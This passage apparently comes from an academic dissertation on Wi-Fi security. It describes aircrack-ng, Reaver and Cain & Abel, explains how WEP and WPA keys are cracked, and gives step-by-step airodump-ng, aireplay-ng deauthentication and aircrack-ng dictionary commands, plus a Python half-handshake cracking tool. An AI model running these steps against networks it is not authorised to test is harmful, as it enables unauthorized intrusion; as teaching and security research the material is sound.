Multiple Data – processor supplementary instruction sets) is enabled to significantly speed
up WPA/WPA2 key processing. As input, a “four-way handshake” is required. For WPA
handshakes, a complete handshake consists of four packets. However, aircrack-ng can
successfully work with just two packets. EAPoL packets (Extensible Authentication
Protocol over LAN) (2 and 3) or packets (3 and 4) are considered a complete handshake.

Figure 4. Example of aircrack-ng interface [11]

Legend:
• 1 = Key byte
• 2 = Depth of current key search
• 3 = Byte the IVs leaked
• 4 = Votes indicating this is correct
How does it work?
The first method is the PTW technique. In 2005, Andreas Klein introduced yet
another analysis of RC4 streaming encryption. Klein demonstrated that there are more
correlations between RC4 key stream and the key than those found by Fluhrer, Mantin and
Shamir, which can also be used to break the WEP. The PTW method extends the Klein
attack and optimizes it in order to be used against WEP. It essentially uses the advanced
FMS methods described in the following paragraph. One particularly important limitation
is that it only works with ARP request/response packets and cannot be used against other
traffic.
The second method is the FMS/Korek method, which includes several techniques:
• FMS (Fluhrer, Mantin, Shamir) attacks – statistical techniques;

26
• Korek attacks – statistical techniques;
• Brute force.
When using statistical methods for cracking the WEP key, each byte of the key is
essentially processed individually. Using statistical mathematics, the probability that a
certain byte in a key is correctly guessed increases to 15% when the correct initialization
vector (IV) is captured for a particular key byte. In fact, some IVs “leak” into the secret
WEP key for certain key bytes. This is the fundamental basis of statistical methods.
Using a series of statistical tests called FMS and Korek attacks, votes are
accumulated for likely keys for each key byte of the secret WEP key. Different attacks
have different numbers of votes associated with them, since the probability of each attack
giving the correct answer varies mathematically. The more votes will be accumulated by a
certain potential value of the key, the more likely that it will be correct. For each key byte,
the screen shows the likely secret key and the number of votes that it has accumulated so
far. Needless to say, the secret key with the most votes is most likely correct, but not
guaranteed. Then aircrack-ng will check the key to confirm it.
In the screenshot above, in the key byte 0 byte 0xAE has several votes, in this case
50. Thus, mathematically, it is more likely that the key starts with AE than with 11 (which
is the second on the same line) which is almost twice less. This explains why the more data
is available, the more likely that aircrack-ng will determine the secret WEP key.
However, a statistical approach can go only this far. The idea is to get into the ball
park with statistics, then use brute force in order to finish the job. Aircrack-ng uses brute
force for probable keys to actually determine the secret WEP key.
This is where the fudge factor comes into play. Basically, the fudge factor tells
aircrack-ng how much brute force is used. It’s like throwing a ball in the field, after which
someone says that the ball is somewhere between 0 and 10 meters (0 and 30 feet) away.
Versus saying the ball is somewhere between 0 and 100 meters (0 and 300 feet). The 100
meter scenario will take much longer to search than the 10 meter one, but is more likely to
find the ball with a wider search. This is a trade-off between the length of time and the
probability of finding a secret WEP key.
For instance, if the fudge factor used by aircrack-ng is 2, it takes the votes of the
most possible byte and verifies all other possibilities that are at least half as possible as this
one, based on brute force. The bigger the fudge factor, the more possibilities aircrack-ng
will try to use on the basis of brute force. As the fudge factor increases, the number of

27
secret keys that need to be sampled increases dramatically and, therefore, the result is the
increase of the elapsed time too. Thus, in the presence of more accessible data, the need of
brute force, which requires great resources, will be minimized.
It is all just “simple” mathematics and brute force in the end.
In order to crack WEP keys, a dictionary is also used. For WEP, one of the
following methods can be used: the statistical method described above or a dictionary.
With the dictionary technique, a file with ASCII or hexadecimal keys is first created. The
file can contain only one type, not a combination of both of them. It is transmitted then as
an input for aircrack-ng and the script verifies each key to determine if it is correct.
The approach described above does not work with WPA/WPA2 pre-shared keys.
The only way to crack these pre-shared keys is via a dictionary attack, a capability which is
also included in aircrack-ng.
For pre-shared keys, the client and the access point establish the binding material
that will be used to communicate at the very beginning, when the client first associates
with the access point. A four-way handshake is performed between the client and the
access point. Airodump-ng is the tool that can capture this network authentication protocol.
Using as input the provided word list (dictionary), aircrack-ng duplicates the four-way
handshake to determine if a particular entry in the word list corresponds to the resulted
four-way handshake. If so, the pre-shared key has been successfully identified.
An important mention is that this process is very intensive from the point of view
of calculations, therefore, in practice, it is unlikely that very long or unusual pre-shared
keys will be determined. The best results are obtained using a good quality word list.
Another approach is to use a tool, such as John the Ripper, to generate passwords which in
turn are passed to aircrack-ng.

2.4.2.2. Usage

aircrack-ng [options] <capture file(s)>


Multiple input files (either in .cap or .ivs format) can be specified. Also, file name
wildcarding can be used. Both airodump-ng and aircrack-ng can be run at the same time:
aircrack-ng will auto-update when new IVs are available.
A summary of all available options is presented in Annex 1.

28
2.4.3. Reaver
Reaver is an open-source tool used to perform brute force attack against WPS in
order to recover WPA/WPA2 pass keys. This tool is hosted on Google Code and may
disappear soon if developer will not migrate it to another platform. It was last updated
around 4 years ago.
Reaver is aimed at the external functions of the Wi-Fi Protected Setup. The access
points will provide the authenticated registrars with their current wireless configuration
(including WPA-PSK) and accept a new configuration from the registrar.
To authenticate as a registrar, the registrar must confirm his knowledge of the AP’s
8-digit PIN number. Registrars can authenticate to the AP at any time without needing any
user interaction. Because the WPS protocol is running on the EAP (Extensible
Authentication Protocol), the registrar must be connected only to the access point and does
not need any preliminary information about wireless network configuration or encryption.
As it is said in [16], Reaver performs a brute force attack against the AP, trying to
use any possible combination to guess the AP’s 8-digit PIN. Since the PIN numbers are
numeric, there are 10^8 (100,000,000) possible values for any PIN number. However,
since the last digit of the number is a checksum value that can be calculated from the
previous 7 digits, this key space is reduced to 10^7 (10,000,000) possible values.
The key space decreases even more because the WPS authentication protocol cuts
the PIN in half and checks each half separately. This means that are 10^4 (10,000) possible
values for the first half and 10^3 (1000) possible values for the second half of the PIN,
with the last digit of the PIN being the checksum value.
Reaver brute forces the first half of the PIN, and then the second half, which means
that the entire key space for the WPS PIN number can be exhausted in 11,000 attempts.
The speed at which Reaver can test PIN numbers is completely limited by the speed at
which the AP can process WPS requests. Some access points are fast enough that one PIN
can be checked every second; others are slower, and only one PIN is allowed every ten
seconds. Statistically, it only takes half of that time to find the correct PIN number.

2.4.4. Kismet
Kismet is another Wi-Fi 802.11 a/b/g/n layer 2 wireless network detector, sniffer
and intrusion detection system. This tool is mainly used to troubleshoot Wi-Fi. It works
just fine with any Wi-Fi card that supports rfmon mode. Being available for Windows,
Linux, OS X and BSD platforms, it passively collects packets to identify a standard

29
network and also detects hidden networks. This tool is built on modular client-server
architecture and can sniff the 802.11a, 802.11b, 802.11g and 802.11n traffic. It is an open
source tool and supports the latest faster wireless standards.
In [13] are presented Kismet’s main features:
• 802.11 sniffing;
• Standard PCAP (packet capture) logging (compatible with Wireshark,
TCPDump);
• Client/Server modular architecture;
• Plug-in architecture to expand core features;
• Multiple capture source support;
• Live export of packets to other tool via tun/tap virtual interfaces;
• Distributed remote sniffing via light-weight remote capture;
• XML output integration with other tools.

2.4.5. Cain & Able


In [14] is said that Cain & Able is another popular tool used to crack wireless
passwords. This tool was designed to intercept network traffic and then use brute force to
detect passwords. That’s why this tool is very helpful in finding the wireless network
password by analysing the routing protocols. Cain & Able can also be used to crack other
passwords. It is one of the most popular tools for cracking passwords.
This tool is designed not only for cracking WEP, but for other functions also. It is
mainly used to crack Windows passwords. It is for this reason that this tool is so popular
among users.
The main features of Cain & Able - that make it a great tool for network
penetration testing - will be described in the next table.

Table 8. List of Cain & Able features [14]


Protected Storage Password Manager Credential Manager Password Decoder

LSA Secrets Dumper Dial-up Password Decoder

Service Manager APR (ARP Poison Routing)

Route Table Manager Network Enumerator

SID Scanner Remote Registry

30
Sniffer Routing Protocol Monitors

Full RDP sessions sniffer for APR Full SSH-1 sessions sniffer for APR

Full HTTPS sessions sniffer for APR Full FTPS sessions sniffer for APR

Full POP3S sessions sniffer for APR Full IMAPS sessions sniffer for APR

Full LDAPS sessions sniffer for APR Certificates Collector

MAC Address Scanner with OUI fingerprint Promiscuous-mode Scanner

Wireless Scanner PWL Cached Password Decoder

802.11 Capture Files Decoder Password Crackers

Access (9x/2000/XP) Database Passwords Cryptanalysis attacks


Decoder

Base64 Password Decoder WEP Cracker

Cisco Type-7 Password Decoder Rainbowcrack-online client

Cisco VPN Client Password Decoder Enterprise Manager Password Decoder

RSA SecurID Token Calculator Hash Calculator

TCP/UDP Table Viewer TCP/UDP/ICMP Traceroute

Cisco Config Downloader/Uploader Box Revealer


(SNMP/TFTP)

Wireless Zero Configuration Password Remote Desktop Password Decoder


Dumper

MSCACHE Hashes Dumper MySQL Password Extractor

Microsoft SQL Server 2000 Password Oracle Password Extractor


Extractor

VNC Password Decoder Syskey Decoder

31
3. Study and implementation
This chapter’s main purpose is to highlight the vulnerability of wireless
networks, as well as how easy it is to crack them using the adequate tool.

First part is dedicated to the aircrack tool; there are presented the steps
which must be executed in order to gain access to the targeted network.

In the second part, an algorithm with the same purpose is described. The
implementation was done in Python programming language.

3.1. Introduction

The main purpose of this chapter is to describe and explain the functionality of
aircrack-ng suite. Also, by clarifying all the steps of the algorithm behind aircrack-ng
tool, the final challenge is to implement a customized version of this well-known tool.

3.2. General aspects

3.2.1. Open Systems Interconnection Reference Model


As it appears in [17], the OSI reference model represents a stack of hierarchical
communications protocols often used to build a computer network; it is a standard of the
International Standardization Organization, issued in 1984. This model provides general
methods for communication, information exchange, regardless of system design features
(manufacturer, operating system, country). The reference model has applications in all
areas of data communications, not just in computer networks.
The OSI model divides the complex communication problem between two or more
systems in seven distinct layers in a hierarchical architecture. Each layer has well-defined
functions and communicates only with the adjacent layers. The 7 levels of the reference
model are called:
• Application (Level 7, Higher) – Implements the user interface and
application interface, specifies the working interface with the user and
manages communication between applications. This layer is not a
standalone application, but only the interface between applications and
components of the computer (for example, HTTP, FTP, SNMP).
• Presentation – Converts data into formats understood by each application
and computer, data compression and encryption.

32
• Session – Provides communication control between applications.
Establishes, maintains, manages and closes connections (sessions) between
applications.
• Transport – Ensures reliable transfer of information between two endpoints
of a communication. Provides error control and data flow control between
two endpoints, ensuring the correct order of data packets. It provides a data
transport service which isolates the higher levels of specifications related to
the way the data transport is performed.
• Network – Determines the optimal way to achieve the transfer of
information across a multi-segment network by fragmenting and
reassembling the information.
• Data Link – This layer deals with physical addressing, network topology,
network access error detection and reporting and flow control. It provides
reliable data transport along a physical link, performing: control of
communication errors, data flow control, link control and frame sync.
• Physical (Level 1, Lower) – This level defines electrical, mechanical,
procedural and functional specifications for activating, maintaining and
disabling physical connections between systems. Its role is to transmit a
string of bits on a communication channel. Specifies modulations, encoding,
bit-level sync. A physical-level standard defines four types of features:
Mechanical (shape and size of connectors, number of pins), Electrical
(Modulation, Binary Flows, Encoding and Maximum Lengths of
Communication Channels), Functional (function of each pin) and
Procedures (sequence of procedures for activating a service).

33
Figure 5. OSI Model Layers

802.11 is a set of Data Link and Physical layer protocols. Below is a picture which
illustrates where 802.11 fit in the OSI Model.

Figure 6. 802.11 in the OSI Model

3.2.2. How to find a wireless network


Every access point sends out about 10 so called beacon frames per second. These
packets contain the following information:
• Name of the network (ESSID – Extended Service Set Identification)

34
• If (and what) encryption is used; just because the AP advertises it, that
information may not be true all the time
• Supported MB data rates
• Which channel the network is on
This information can be obtained by running a tool specialized in scanning for
networks, such as airodump-ng.
Also, every AP has a unique MAC address which consists of 6 pair of hexadecimal
numbers (48 bit). Every network hardware device has such an address, the communication
between network devices being possible by using this MAC address. It is like a unique
name because no two network devices in the world have the same MAC address (MAC
addresses are unique).

3.2.3. Connecting to a wireless network


There are some possibilities to connect to a wireless network. Open System
Authentication (OSA) is used in most cases:
• 1. Ask the AP for authentication
• 2. The AP answers: OK, you are authenticated
• 3. Ask the AP for association
• 4. The AP answers: OK, you are now connected
For OSA to work, the service set identifier (SSID) of the computer should match
the SSID of the wireless AP. The SSID is a sequence of characters that uniquely names a
wireless local area network (WLAN). The process occurs in three steps. First, the computer
sends a request for authentication to the access point. Then the access point generates an
authentication code, usually at random, intended for use only during that session. Finally,
the computer accepts the authentication code and becomes part of the network as long as
the session continues and the computer remains within range of the original access point.
This is the simplest situation, but, of course, there might be some issues if the user
who request access is not legitimate to connect:
• If WPA/WPA2 encryption is used, then EAPOL authentication is requested
• Access Point has a list of allowed clients (MAC addresses) and no one else
is allowed to connect. This is called MAC filtering
• If Access Point uses Shared Key Authentication (SKA), the correct WEP
key needs to be supplied in order to be able to connect

35
If it is necessary to exchange encrypted data between a WEP network access point
and a wireless-equipped computer, a stronger authentication process called Shared Key
Authentication is required.

3.3. Basic sniffing and cracking

Obviously, the first thing to do is searching for a potential target. The aircrack-ng
suite contains airodump-ng for this, but other programs can be used too (e.g. Kismet).
Before looking for possible targets, the wireless card must be put into what is called
“monitor mode”. This is a special mode that allows the PC to listen to every wireless
packet. Monitor mode also allows the optional injection of packets into a network.
In order to put the wireless card into monitor mode, the following command will be
used:
airmon-ng start wlan0

Figure 7. Airmon-ng caption

“wlan0” is the network interface (nic) name. For most new drivers, the primary
interface name is “wlan0”, but for monitoring, a secondary interface is used (“mon0”,
created when airmon-ng is executed).
To confirm the monitor mode, “iwconfig” command can be used.
The next step is looking out for networks. This can be achieved by starting
airodump-ng:
airodump-ng wlan0

36
Airodump-ng is a tool used for packet capturing of raw 802.11 frames and is
particularly suitable for collecting WEP IVs which can be used afterwards with the
aircrack-ng tool.
Additionally, airodump-ng writes out several files containing the details of all
access points and clients seen.
If airodump-ng could connect to the WLAN device, a screen like below will
appear.

Figure 8. Airodump-ng caption

Airodump-ng transitions from one channel to another, showing all access points
from which it can receive beacons. Channels 1 to 14 are used for 802.11b and g (in the US
they are allowed to use from 1 to 11, in Europe from 1 to 13 with some special cases, in
Japan 1 to 14). The channels between 36 and 149 are used for 802.11a. The current
channel is shown in the top left corner.
After some time, a number of APs and hopefully some associated clients will show
up. There are two blocks of interest.
The upper data block shows the access points found:

Table 9. APs block information


BSSID The MAC address of the access point

PWR Signal strength. Some drivers don’t report it

RXQ Receive Quality as measured by the percentage of packets


(management and data frames) successfully received over the last 10
seconds

37
Beacons Number of beacon frames received. If no signal strength is available, it
can be estimated based on the number of beacons: the more beacons,
the better the signal quality

# Data Number of data frames received

#/s Number of data packets per second (measured over the last 10 seconds)

CH Channel the AP is operating on

MB Speed or AP mode. 11 is pure 802.11b, 54 pure 802.11g. Values


between are a mixture

ENC Encryption algorithm in use: OPN – no encryption, WEP – WEP


encryption, WPA – WPA/WPA2 encryption, WEP? – WEP or WPA
(insufficient information to decide)

CIPHER The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40 or
WEP104. TKIP is typically used with WPA and CCMP with WPA2
(not mandatory)

AUTH The authentication protocol used. One of MGT (WPA/WPA2 using a


separate authentication server), SKA (shared key for WEP), PSK (pre-
shared key for WPA/WPA2) or OPN (open for WEP)

ESSID The network name. Can be hidden

The lower data block shows the clients found:

Table 10. Client(s) block information


BSSID The MAC of the AP this client is associated to

STATION The MAC of the client itself

PWR Signal strength. Some drivers don’t report it

Packets Number of data frames received

Probes Network names (ESSIDs) this client has probed

It is important that the target network has clients connected because cracking
networks without a client requires other methods (no clients, no handshake).
Sniffing IVs
Because of the channel hopping, the captured packets will not be only from the
target network. It is mandatory to listen just on one channel (the one of the AP set as
target) and additionally write all data to disk in order to use it later for cracking:
airodump-ng -c 13 --bssid F4:F2:6D:BF:C3:08 -w /root/Desktop/ wlan0mon

38
The -c parameter is used for tuning to a certain channel and the value after -w
parameter represents the prefix to the network dumps written to disk. The --bssid
parameter is used to limit the capture to the desired AP. “wlan0mon” represents the name
of the interface which is used.
Every data packet contains an IV. IVs can be re-used, thus the number of different
IVs is usually a bit lower than the number of data packets captured.
Cracking
Having enough IVs captured in one or more files (*.cap), the next move is to crack
the network key using aircrack-ng tool as described below.
Files with CAP extension are Packet Capture files created by packet sniffing
programs. This kind of files hold raw data collected by the sniffing program, so that they
can be analysed at a later time or with different programs.
aircrack-ng -a2 -b F4:F2:6D:BF:C3:08 -w /root/Desktop/wpa.txt
/root/Desktop/*.cap
The option -a2 stands for attack mode (1 = static WEP, 2 = WPA/WPA2-PSK).
The MAC which appears after the -b option is the BSSID of the target and (name of the
.cap file) is the file containing captured packets. Multiple files can be used just by adding
all their names or by using a wildcard such as *.cap.

3.3.1. Simple cracking of WPA/WPA2


Practically, there is no difference between cracking WPA or WPA2 networks
because the authentication methodology is basically the same in both cases. Thus, the
techniques used are identical.
WPA/WPA2 supports many types of authentication, but, given the fact that
aircrack-ng tool can only crack pre-shared keys, the networks having the authentication
type of PSK will be targeted.
There is a major difference between cracking WPA/WPA2 and WEP: in WEP case
statistical methods can be used to speed up the cracking process, while against
WPA/WPA2 pre-shared key only plain brute force techniques can be used. These methods
are necessary because the key is not static, so the speed of the attack does not increase by
collecting IVs (like in WEP cracking case).
The only thing that does give the needed information in order to start an attack is
the handshake between client and AP. Handshaking is done when the client connects to the

39
network (almost true). The pre-shared key can be from 8 to 63 characters in length, so it
becomes effectively impossible to crack it.
The only time when the pre-shared key can be cracked is when it is a dictionary
word or relatively short in length. Vice versa, for an unbreakable wireless network, it is
necessary to use WPA/WPA2 with a 63 character password (composed of random
characters, including special symbols).
So, the passphrase must be contained in the dictionary used to break WPA/WPA2.
Otherwise, the key cannot be determined.
The main objective is to capture WPA/WPA2 authentication handshake; the next
step is to use aircrack-ng to crack the pre-shared key. This operation can be done in two
ways: actively or passively:
• “Actively” means the process will be accelerated by deauthenticating an
existing client.
• “Passively” supposes to simply wait for a wireless client to authenticate in
the network. The important advantage in this situation is that injection
capability is not needed, therefore Windows version of aircrack-ng ca be
used too.
The main steps to be taken are:
1. Start the wireless interface in monitor mode on the specific AP channel
2. Start airodump-ng on AP channel with filter for BSSID to collect
authentication handshake
3. Use aireplay-ng to deauthenticate the wireless client
4. Run aircrack-ng to crack the pre-shared key (using authentication
handshake)
The first step was described in the above section.
The second step was also presented. Here is how the output of airodump-ng looks
like:

40
Figure 9. Airodump-ng output

The third step is optional. Another solution is waiting until airodump-ng captures a
handshake when one or more clients connect to the AP. This stage is performed only if
active speed up of the process is desired. Also, another constraint is the fact that a wireless
client must be currently associated with the AP; if not, the handshake will be captured only
when a client will try to connect to the AP.
If it is performed, this step sends a message to the wireless client saying that it is no
longer associated with the AP. In that moment, the wireless client will (hopefully)
reauthenticate with the AP. This action generates the 4-way authentication handshake
which is essential to break the WPA/WPA2 pre-shared key.
The below aireplay-ng command must be executed in another console session:
aireplay-ng -0 2 -a F4:F2:6D:BF:C3:08 -c AC:B5:7D:41:CA:CF wlan0mon
Where:
• -0 is for deauthentication
• 2 represents the number of deauths to send (multiple can be sent)
• -a F4:F2:6D:BF:C3:08 is the MAC address of the AP
• -c AC:B5:7D:41:CA:CF is the MAC address of the client which will be
deauthenticated
• wlan0 is the interface name.
Below is a screenshot with the output:

41
Figure 10. Aireplay-ng caption

With some luck, this causes the client to reauthenticate and yield the 4-way
handshake which will be visible in the airodump-ng console session (top right corner):

Figure 11. 4-way handshake captured

It is necessary to be close enough to the clients for the wireless card transmission to
reach them. The tool tcpdump can be used to confirm the client received the
deauthentication packets (looking for ACK packets back from the client). If no ACK
packets are detected, the client did not “hear” the deauthentication packet.
The last step is worth the work done so far because it is the stage when the
WPA/WPA2 pre-shared key is actually cracked. In order to do this, a dictionary of words
is needed as input. Aircrack-ng tests each word to see if this is actually the pre-shared key.
After 4-way handshake is captured, the aireplay-ng console can be closed and
aircrack-ng can be called (in the airodump-ng console session, after airodump was closed
by pressing Ctrl+C).
aircrack-ng -a2 -b F4:F2:6D:BF:C3:08 -w /root/Desktop/wpa.txt
/root/Desktop/*.cap
Where:
• -w wpa.txt is the name of the dictionary file.
• *.cap is a wildcard used to specify the group of files containing captured
packets.

42
When no handshake is found, it is necessary to redo step 3 or wait longer if the
passive approach is used.
Typical output when handshake is found is presented in Figure 8.
At this point, aircrack-ng will start attempting to crack the pre-shared key, an
example of successful attempt being presented below:

Figure 12. Aircrack-ng successful attempt

3.3.2. 4-Way Handshake


4-way handshake is used by security protocols such as WPA/WPA2/802.1x.
Purpose of WPA [TKIP], WPA2 [TKIP/CCMP], 802.1x is to generate dynamic unique
encryption keys for each clients connected to an AP. Two different keys are generated
using 4-way handshake:
• Pairwise Transient Key (PTK)
• Group Temporal Key (GTK)
Pairwise Transient Key:
• A value that is derived from Pairwise Master Key (PMK), Authenticator
Address (AA), Supplicant Address (SA), Authenticator Nonce (A Nonce),
Supplicant Nonce (S Nonce) using the pseudo-random function (PRF);
• This key is used by AP and Clients to encrypt unicast frames that are
transmitted between AP and a Client.
Group Temporal Key:

43
• A random value derived by AP and shared with all the clients connected to
a Basic Service Set Identifier (BSSID);
• As per the standard, it is mandatory that GTK value should be updated
whenever is moved away/disconnected from a BSSID;
• This key is used by AP and Clients to encrypt broadcast/multicast that are
transmitted between AP and a Client.

Figure 13. Four-way key handshake

44
3.4. Another implementation to crack WPA/WPA2-PSK

In this section, an algorithm implemented in Python programming language will be


presented. This program does all the hard work described in the previous chapter. All it
needs is the target network (MAC address) and some captured packets (a .cap file
corresponding to the targeted network).
The project can be found here: https://github.com/alin-dinescu/WPA2-
HalfHandshake-Crack.
In order to run the tool, 3 additional Python modules must be installed: pcapfile,
pbkdf2-ctypes and pyrcrack. The other resources can be downloaded from the above
mentioned URL.
Conventional WPA2 attacks work by listening for a handshake between client and
Access Point. This full 4-way handshake is then used in a dictionary attack. The tool
presented in this dissertation is a Proof of Concept to show that there is no need to have the
Access Point present. One can simply listen for WPA2 probes from any client within range
and then throw up an Access Point with that SSID. Although authentication will fail there
can be found enough information in failed handshake in order to run a dictionary attack
against the inconsistent handshake.
The tool consists of 3 Python scripts: cracker.py, pcapParser.py and the main caller,
halfHandshake.py. Below is attached a flow chart which includes the main actions
performed during the execution of halfHandshake.py, as well as the connections between
the 3 modules.

45
Figure 14. Flow chart

As it can be observed in the above diagram, the execution flow is quite simple.
But, first things first: there are available 4 command line arguments (3 mandatory
and 1 optional). –r –s –m –d?
“-r” option is used to specify the file which contains captured packets. “-s” is the
name of the interface set as target, while “-m” is the MAC address of the network. “-d” is
an optional argument which can be passed in the command line when the dictionary used
to find passphrase is not in the same location with the tool.
Having the arguments specified and processed, the next step is to parse the .cap file
in order to extract the information needed to extract the handshake.
Finally, with the handshake available and a word dictionary, every passphrase will
be tested until the correct one will be discovered.

46
3.4.1. Capturing packets of data
The pcap file passed as input to the tool is obtained by running the following
command:
tcpdump -i wlan0mon -w /root/Desktop/test.cap -s 65535
Where:
• The value after -i option represents the interface name to listen on
• -w option is used to specify where the .cap file will be created
• The digital value after -s option (same as --snapshot-length option) indicates
the number of data bytes from each packet (rather than the default of
262144 bytes). Packets truncated because of a limited snapshot are
indicated in the output with “[proto]”, where proto is the name of the
protocol level at which the truncation has occurred.
Taking larger snapshots both increases the amount of time it takes to process
packets and, effectively, decreases the amount of packet buffering. This may cause
packets to be lost. Snapshot length should be limited to the smallest number that will
capture the interesting protocol information.

Figure 15. Tcpdump command line output

Tcpdump is a common packet analyser that runs under the command line. It allows
the user to display TCP/IP and other packets being transmitted or received over a network
to which the computer is attached. Distributed under the BSD license (Berkeley Software
Distribution), tcpdump is free software.
Tcpdump prints out a description of the contents of packets on a network interface
that match the boolean expression; the description is preceded by a time stamp printed, by
default, as hours, minutes, seconds, and fractions of a second since midnight. It can also be
run with the -w flag, which causes it to save the packet data to a file for later analysis,
and/or with the -r flag, which causes it to read from a saved packet file rather than to read

47
packets from a network interface. It can also be run with the -V flag, which causes it to
read a list of saved packet files. In all cases, only packets that match expression will be
processed by tcpdump.
If not run with the -c flag, tcpdump will continue capturing packets until it is
interrupted by a SIGINT signal (generated, for example, by typing the interrupt character,
normally Ctrl+C) or a SIGTERM signal (typically generated with the kill() command); if -
c flag is used, it will capture packets until the specified number of packets have been
processed.
When tcpdump finishes capturing packets, it will report the following:
• Counts of packets “captured” (this is the number of packets that tcpdump
has received and processed)
• Packets “received by filter” (here, the behaviour depends on the OS on
which tcpdump is executed)
• Packets “dropped by kernel” (this is the number of packets that were
dropped, due to a lack of buffer space, by the packet capture mechanism in
the OS on which tcpdump is running, if the OS reports that information to
applications; if not, it will be reported as 0).

3.4.2. Reading the captured packets


First step is to open the .cap file with Wireshark; it can be seen that about 428
packets are present.

Figure 16. Captured packets – view from Wireshark

48
In the Wireshark tool, clicking on “View” “Expand all” will show all the
sections and fields expanded for each packet. As it is told in [18] also, the packets of
interest are the following: Packet - 8, 9, 10, 11 (these are the 4-way handshake packets).
Before analysing them, let’s take a look at what the others packets do:
• Packet 1 – AP Beacon, announces presence and capabilities of the AP; at
the “Vendor Specific” attributes the WPA attribute can be observed.

Figure 17. Packet 1

• Packet 2 – Probe Request Packet; this is the client looking for the AP. The
destination MAC address contains only “FF”s, which is a broadcast address.
The SSID in the packet is also set to broadcast.

49
Figure 18. Packet 2

• Packet 3 – Probe Response Packet; this is the AP responding to the client. It


contains a source MAC of the BSSID and a destination MAC of the client.
This packet’s role is to inform the client about characteristics of the AP,
such as transmission speed (plus other relevant capabilities).

50
Figure 19. Packet 3

• Packets 4, 5 – Open-authentication System packets; the client sends an


authentication request packet and the AP responds with an authentication
acceptance packet

Figure 20. Packet 4

51
Figure 21. Packet 5

• Packets 6, 7 – the association packets; essentially, their role is to join the


client to the network. The client sends an association request packet and the
AP responds with an association response packet.

Figure 22. Packet 6

52
Figure 23. Packet 7

• Packets 8, 9, 10, 11 – the 4 critical packets required by aircrack-ng to crack


WPA using a dictionary (the WPA “handshake” packets). The AP is the one
which initiates the four-way handshake by sending the first packet. The first
pair of packets has a “replay counter” value of 1, while the second pair has a
“replay counter” value of 2. Packets with the same “replay counter” value
are matching sets. If only one packet exists for a specific “replay counter”
value, then it cannot be used by aircrack-ng because its pair is missing from
the capture. That is why sometimes when, although there are four EAPOL
packets in the capture, aircrack-ng still says there are “0” handshakes. There
must be matching pairs. There are other clues that could be analysed too:
EAPOL packets 1 and 3 should have the same nonce value. If not, they are
not part of the matching set. Aircrack-ng also requires a valid beacon, so it
must be part of the same packet sequence numbers. For example, if the
beacon packet sequence number is higher than the EAPOL packet sequence
numbers from the AP, the handshake will be ignored. This happens because
aircrack-ng “resets” handshake sets when association packets (or similar)
are seen.

53
IEEE 802.11 Frame Control Flags DS Status Flag: The direction
flags show “FROM DS” or “TO DS” depending on the packet (coming
from the AP or going to it).

Figure 24. Packet 8

54
Figure 25. Packet 9

Figure 26. Packet 10

55
Figure 27. Packet 11

• Packets 12, 13, 14, 15… - data packets to/from the wireless client to the
LAN via the AP. TKIP Parameters can be checked in order to confirm that
WPA is used for these packets.

56
Figure 28. Packet 12

The above analysis is done for a successful connection. However, sometimes the
capture can be unsuccessful. If this is the case, some things will change.
Up to Packets 8, 9, everything is identical with the situation where a successful
capture was done. These are the first two of four “handshake” WPA packets. The AP sends
out a packet with the information that it expects the wireless client to send back properly
encrypted with passphrase. Since the wireless client is using the wrong passphrase, it is
incorrect.
Again, the AP initiates the four-way handshake by sending the first packet.

57
Figure 29. How Packet 8 looks like on unsuccessful capture

Figure 30. How Packet 9 looks like on unsuccessful capture

Afterwards, packets 10, 11, 12, 13, 14, 15 are really just repeats of packets 8 and 9
(each pair having successive “replay counter” values). The access point is giving the

58
wireless client a chance to correctly answer, but it never does. So, the next packet (16) is a
deauthentication packet.

Figure 31. Packet 10

Figure 32. Packet 11

59
Since the wireless client did not successfully prove it had the correct passphrase,
the AP now deauthenticates the client.

Figure 33. Packet 16 – Deauthentication packet

In Wireshark, by using “EAPOL” as filter only handshake packets will be shown


(this is useful for analysing why the handshake is not complete). Also, in order to see if the
capture was successful, it is enough to check the last few packets. If they are data packets,
a successful capture was done, but if the last one is a Deauthentication Packet, then the
capture was unsuccessful.
Being able to read a capture file is an important skill because it allows
troubleshooting a connection with problems. By understanding the capture, it can then be
compared to a live capture (thus, finding out what is going wrong).

3.4.3. Generating efficient dictionaries


There are two types of password cracking:
• Online – trying different passwords to log in; it can be slow and noisy. Also,
only a few guesses can be allowed before the systems locks out.
• Offline – having a password file, the attacker is limited only by how fast his
equipment is.
Computers, websites, online banks do not keep the passwords as plain text, so in
order to allow the log in, some steps exist:
1. User creates the password (for example, “test1234”)

60
2. The computer hashes the password – MD5 hash for the above password is:
MD5 (“test1234”) = 16d7a4fca7442dda3ad93c9a726597e4
3. The computer compares it against the stored hash; if the two hashes match,
then the log in is allowed.
Cracking passwords is similar to the process described above: a guess is made, then
the two hashes (real password hash and guess hash) are compared; the password is cracked
when there is a match between them.
Now, there are two main ways to crack passwords:
1. Dictionary attack
2. Brute force – all possible combinations are used; the method is nice when it
is feasible.
First method consists of taking words from an input dictionary (wordlist), mangling
them and then trying them as a guess. But, after a certain point, the attacker will hit the so
called “brick wall”: usually there are two factors that can lead to this situation:
• The wrong dictionary is used
• The wrong mangling rules are used
The bigger the dictionary, the less mangling rules can be applied to that dictionary
and vice versa: the more mangling rules are made, the smaller will be the dictionary.
In general, it is said that using a good dictionary represents the key to success. But
what makes them good?
In order to answer this question, some statistics regarding 13 wordlists will be
presented. These wordlists can be found online and, for a better accuracy of the results,
they were analysed, cleaned and sorted as follows:
• Merged each “collection” into one file
• Removed leading/trailing spaces and tabs
• Converted all “new lines” to Unix format
• Removed non-printable characters
• Removed HTML tags
• Removed email addresses (common domains)
• Removed duplicate entries
• How much would be used if they were for cracking WPA (8 to 63
characters)

61
Before getting the results, each wordlist has been sorted (not “case-sensitive A-Z”),
the following operations being performed:
• Split into two parts: “Single or two words” and “Multiple spaces”
• Sorted by the amount of times the word was duplicated (higher up in the
list, the more common the word is)
• Sorted again by “in-case sensitive A-Z”
• Joined back together the two parts: “Single or two words” at the beginning,
“Multiple spaces at the end”
The following figures are displaying the results.

Figure 34. Raw Data

Figure 35. Calculated differences

Collections 13 Total files 122


Starting words 3.840.616.056 Starting size 40.5GB
Ending words 2.093.041.430 Ending size 21.6GB
Unique (%) 54% Compressed 4.2GB

Figure 36. Summary

62
Number of lines in collection
1.2E+09

1E+09
Number of lines

800000000
Start Amount
600000000 Unique lines
End Amount
400000000

200000000

Name of collection

Figure 37. Number of lines in a collection

63
100%
90% 100%
80% 93%
88% 86%
70%
71% 75%
60%
50% 58% 58% 59%
40% 52%
30% 43%
20%
